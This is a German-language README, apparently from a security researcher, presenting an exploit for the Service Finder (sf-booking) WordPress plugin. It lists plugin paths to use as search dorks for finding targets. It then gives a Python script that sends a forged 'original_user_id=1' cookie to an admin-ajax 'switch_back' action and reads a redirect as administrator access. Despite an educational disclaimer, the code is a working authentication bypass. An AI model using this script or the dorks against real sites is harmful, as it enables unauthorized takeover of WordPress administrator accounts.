🔍 WordPress-Plugin-Exploit — Service Finder (sf-booking)

Übersicht

Das Service Finder-Plugin ist ein Buchungs- und Dienstleistungsverwaltungssystem für WordPress.
Aufgrund seiner Beliebtheit und Komplexität wiesen einige Versionen Sicherheitsprobleme im Zusammenhang mit nicht authentifizierten AJAX-Endpunkten oder unzureichenden Zugriffskontrollen auf.

Dieses README erklärt, wie Forscher Installationen sicher identifizieren und ethische Praktiken befolgen können (dbr krk).

Verwundbare WP-Dorks

/wp-content/plugins/service-finder/

/wp-content/plugins/service-finder-bookings/

/wp-content/plugins/sf-booking/

Exploit-Workflow

⚠️ Haftungsausschluss:
Diese Suchen dienen ausschließlich Bildungs- und Forschungszwecken. Versuchen Sie keinen unbefugten Zugriff oder Exploit.

import requests

url = "https://example.com/wp-admin/admin-ajax.php?action=service_finder_switch_back"
cookies = {
    'original_user_id': '1',
}

r = requests.get(url, cookies=cookies)
print(r.status_code)
print(r.text)

• 300-399: ✅ VERWUNDBAR! Weiterleitung zum Admin-Panel als ADMIN
• 400-499: ⚠️ Client-Fehler — die Anfrage war ungültig oder unbefugt, nicht verwundbar

Referenzen

• WPScan-Plugin-Datenbank — https://wpscan.com/plugins/
• National Vulnerability Database (NVD) — https://nvd.nist.gov/
• OWASP — Google-Dorking-/Aufklärungstechniken
• HackerOne-Offenlegungsrichtlinien — https://www.hackerone.com/disclosure-guidelines

Autor

Taha Mounir